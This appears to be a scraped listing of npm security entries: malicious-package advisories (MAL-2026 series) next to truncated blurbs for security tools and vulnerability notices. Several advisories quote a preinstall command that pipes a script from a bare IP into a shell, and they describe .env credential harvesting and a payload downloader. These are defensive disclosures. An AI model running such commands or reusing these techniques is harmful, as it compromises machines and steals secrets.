MAL-2026-15522 Malicious code in spc-grafeno (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector a0fef29000dd88ee68ba616d166f1ef976a216748d37f14af1367841f0d951f1 The package's preinstall lifecycle script runs curl -s 216.126.236.46/x.sh | sh via /bin/bash at npm install time, executing attacker-controlled code...

MAL-2026-15505 Malicious code in grafeno-core (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector 19a2990abd7b4447444a42f96636f738449235f9d8760191978e904d028c759e The package's preinstall lifecycle script runs curl -s http://216.126.236.46/x.sh | sh at npm install time, fetching and executing an...

MAL-2026-15507 Malicious code in grafeno-pix (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector a5c5e1649c30ab63a97fde3073d5e838ea91f5b2eca8149242f0fb24e286c3f3 [email protected] declares a preinstall hook that runs curl -s 216.126.236.46/x.sh | sh, fetching a shell script from a bare IP over plain HTTP and...

Malicious code in grafeno-pix (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector a5c5e1649c30ab63a97fde3073d5e838ea91f5b2eca8149242f0fb24e286c3f3 [email protected] declares a preinstall hook that runs curl -s 216.126.236.46/x.sh | sh, fetching a shell script from a bare IP over plain HTTP and...

Malicious code in @7nohe/openapi-react-query-codegen (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector ab8f8efdad9084d2a7c5ae5058ffc18886d68bfe1c676239fd7e0d41342fc700 The tarball ships a binding.gyp at the package root whose conditions field abuses GYP's Python expression evaluator to walk .class.base.subclasses to...

MAL-2026-15494 Malicious code in @7nohe/openapi-react-query-codegen (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector ab8f8efdad9084d2a7c5ae5058ffc18886d68bfe1c676239fd7e0d41342fc700 The tarball ships a binding.gyp at the package root whose conditions field abuses GYP's Python expression evaluator to walk .class.base.subclasses to...

opencode

开源的 AI Coding Agent。 English | 简体中文 | 繁體中文 | 한국어 | Deutsch | Español | Français | Italiano | Dansk | 日本語 | Polski | Русский | Bosanski | العربية | Norsk | Português Brasil | ไทย | Türkçe | Українська | বাংলা | Ελληνικά | Tiếng Việt 安装 root@kitploit: 直接安装 YOLO curl -fsSL https://opencode.ai/instal...

web_exploit_detector

Web Exploit Detector Introduction The Web Exploit Detector is a Node.js application and NPM module used to detect possible infections, malicious code and suspicious files in web hosting environments. This application is intended to be run on web servers hosting one or more websites. Running the...

netmap.js

netmap.js 基于浏览器的快速网络发现模块 该项目已不再维护。 描述 netmap.js 提供基于浏览器的主机发现和端口扫描功能，允许你绘制网站访客的网络地图。 它速度相当快，利用 es6-promise-pool 在浏览器允许的最大并发连接数下高效运行。 动机 我为自己正在构思的一个想法需要一个基于浏览器的端口扫描器。原以为只需导入一个现有模块或从 BeEF 之类的其他项目中复制粘贴即可。 结果发现，并没有一个现成的、可用的、像样的 npm 模块，而 BeEF 中的 portscanner 模块（在撰写本文时）既不准确又缓慢，并且在 Chromium 上无法工作。...

aiagent-detection-rules

aiagent-detection-rules Sigma-, Splunk-, Elastic- und YARA-Erkennungsregeln für den Claude-Code-Quellcode-Leak 31. März 2026 und den gleichzeitigen npm-Lieferkettenangriff. Am 31. März 2026 hat Anthropic versehentlich eine fehlkonfigurierte Source-Map in @anthropic-ai/[email protected]...

NPM: 9router: Unauthenticated `/v1` proxy access via `Host`-header spoofing → open AI relay + SSRF

NPM: 9router: Unauthenticated /v1 proxy access via Host-header spoofing → open AI relay + SSRF vulnerability discovered by ? in WordPress Npm 9router versions 0.5.2...

NPM: 9router: Unauthenticated LLM proxy access via /codex rewrite authorization bypass

NPM: 9router: Unauthenticated LLM proxy access via /codex rewrite authorization bypass vulnerability discovered by ? in WordPress Npm 9router versions 0.5.2...

electronegativity

Electronegativity ⚠️ We're no longer actively maintaining this project ⚠️ What's Electronegativity? Electronegativity is a tool to identify misconfigurations and security anti-patterns in Electron-based applications. It leverages AST and DOM parsing to look for security-relevant configurations, as...

Malicious code in mfa-js (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector 3afbd77114dc45ac9259720ffd355659d0442c917aff5a734d9ea0ca337cba77 On require'mfa-js', lib/cache.js executes a Windows-gated IIFE that downloads a JavaScript payload from...

MAL-2026-15492 Malicious code in mfa-js (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector 3afbd77114dc45ac9259720ffd355659d0442c917aff5a734d9ea0ca337cba77 On require'mfa-js', lib/cache.js executes a Windows-gated IIFE that downloads a JavaScript payload from...

Malicious code in eip712-lite (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector 0bb8d4640ca63919533ea826766c735fb8a8bdf8501bb33187ae30f905d82fc2 index.js contains an IIFE that fires on require and walks the installer's home and project directories collecting.env files filtered by...

MAL-2026-15491 Malicious code in eip712-lite (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector 0bb8d4640ca63919533ea826766c735fb8a8bdf8501bb33187ae30f905d82fc2 index.js contains an IIFE that fires on require and walks the installer's home and project directories collecting.env files filtered by...

certighost-cve-2026-54121-slides

Deck Slidev di Certighost Questa directory contiene la presentazione Slidev per CVE-2026-54121.md. root@kitploit: npm install npm run dev Altri comandi: root@kitploit: npm run build npm run export Il deck sorgente è slides.md. Lo stile dell'intero deck è in style.css, e le impostazioni di Mermaid...

generator-burp-extension

Generatore di estensioni Burp Installazione Per prima cosa, installa Yeoman e generator-burp-extension usando npm supponiamo che tu abbia già installato node.js. root@kitploit: npm install -g yo npm install -g generator-burp-extension Poi genera il tuo nuovo progetto: root@kitploit: yo...

revera

Revera Il punteggio di credito per i pacchetti npm. Revera ti aiuta a decidere se vale la pena installare un pacchetto prima di eseguire npm install. Analizza la qualità del pacchetto, la manutenzione, la sicurezza, la salute dell'ecosistema e la fiducia nel publisher — e ora propaga il rischio i...